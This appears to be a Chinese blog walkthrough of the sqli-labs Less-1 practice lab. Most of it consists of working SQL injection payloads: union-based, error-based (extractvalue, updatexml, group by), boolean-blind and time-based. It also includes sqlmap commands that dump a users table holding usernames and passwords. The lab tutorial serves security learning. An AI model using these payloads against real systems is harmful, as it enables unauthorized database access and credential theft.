【sqli-lab教程】less-1
nhlzdmw
- 关注
【sqli-lab教程】less-1

less-1
回显判断
两次页面不同,有回显
?id=1
?id=2
数据库报错判断
根据回显判断字符型还是数字型错误
?id=2'
字符型
查看布尔类型状态
判断是否可以进行布尔盲注
?id=2' and 1=1 --+ #页面正常
?id=2' and 1=2 --+ #页面不正常
延时判断
?id=2' and sleep(5) --+
判断列数
?id=2' order by 1 --+ #正常
?id=2' order by 2 --+ #正常
?id=2' order by 3 --+ #正常
?id=2' order by 4 --+ #不正常
一共3列
联合查询
?id=-2' UNION SELECT 1,2,3 --+ #加-号是为了让前面语句为错误
?id=-2' UNION SELECT 1,version(),database() --+
2和3的位置可以替换各种语句,如
?id=-2' UNION SELECT 1,version(),(select table_name from information_schema.tables where table_schema='security' limit 0,1) --+
报错注入
group by注入
?id=1' union select 1,count(*), concat((select database()),0x5e,floor(rand(0)*2)) x from information_schema.tables group by x --+ #直接套用公式,需要查询其他的只需要把database()替换掉就可以
extractvalue()
0x5e是^
?id=1' or extractvalue(1,concat(0x5e,version())) --+ #查询数据库版本
?id=1' and extractvalue(1,concat(0x5e,database(),0x5e)) --+ #查询数据库名
?id=1' and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x5e)) --+ #查询数据库里的表
?id=1' and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x5e)) --+ #由于表名一次只能显示一行,所以更改limit进行查询
?id=1' and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x5e)) --+ #查询users表里的列名,同样以更改limit的方式对列名进行查询
?id=1' and extractvalue(1,concat(0x5e,(select concat(username,0x3a,password) from users limit 0,1),0x5e)) --+ #查询用户名密码
updatexml()
此函数与extractvalue()函数的用法相同,不同的是updatexml()有三个参数,updatexml(1,(payload),1)只要讲payload替换成与extractvalue函数中相同的内容即可完成sql注入,具体操作方法不再重复,下面只进行一个演示
?id=1' and updatexml(1,concat(0x5e,(select concat(username,0x3a,password) from users limit 1,1),0x5e),1) --+
布尔盲注
?id=1' and length(database())>8 --+ #判断数据库长度
?id=1' and length(database())=8 --+ #数据库名长度为8
?id=1' and ascii(substr(database(),1,1))<116 --+ #SUBSTR(str,pos,len)从pos开始的位置,截取len个字符,转换为ASCII码判断数据库名第一位是否小于116
?id=1' and ascii(substr(database(),1,1))=115 --+ #判断出数据库名第一位为115的ASCII是s
按位判断比较慢,有一种半自动bp抓包方法
得到数据库名security
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+ #得到第一个表的长度为6
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+ #得到第一个表的第一位是101的ascii码位e
bp半自动测试
得到第一个表名为emails,掌握方法即可,半自动不再测试
全自动测试,使用sqlmap工具
sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 #查找是否存在注入漏洞
发现注入漏洞
sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 --dbs #爆出数据库名
sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 -D security --tables #查找表名
sqlmap -u http://10.9.28.145/sqli/Less-1/?id=1 -D security -T users --columns --dump #爆出表里数据
时间注入
?id=1' and if(length(database())>1,sleep(5),1) --+ #如果数据库名的长度大于1则延时注入,否则正常输出
建议使用顺序:联合查询>报错注入>布尔盲注>时间注入。
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 nhlzdmw 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
Vulnhub靶机教程之firstblood:1
2022-05-31
Vulnhub靶机教程之who-wants-to-be-king-1
2022-05-29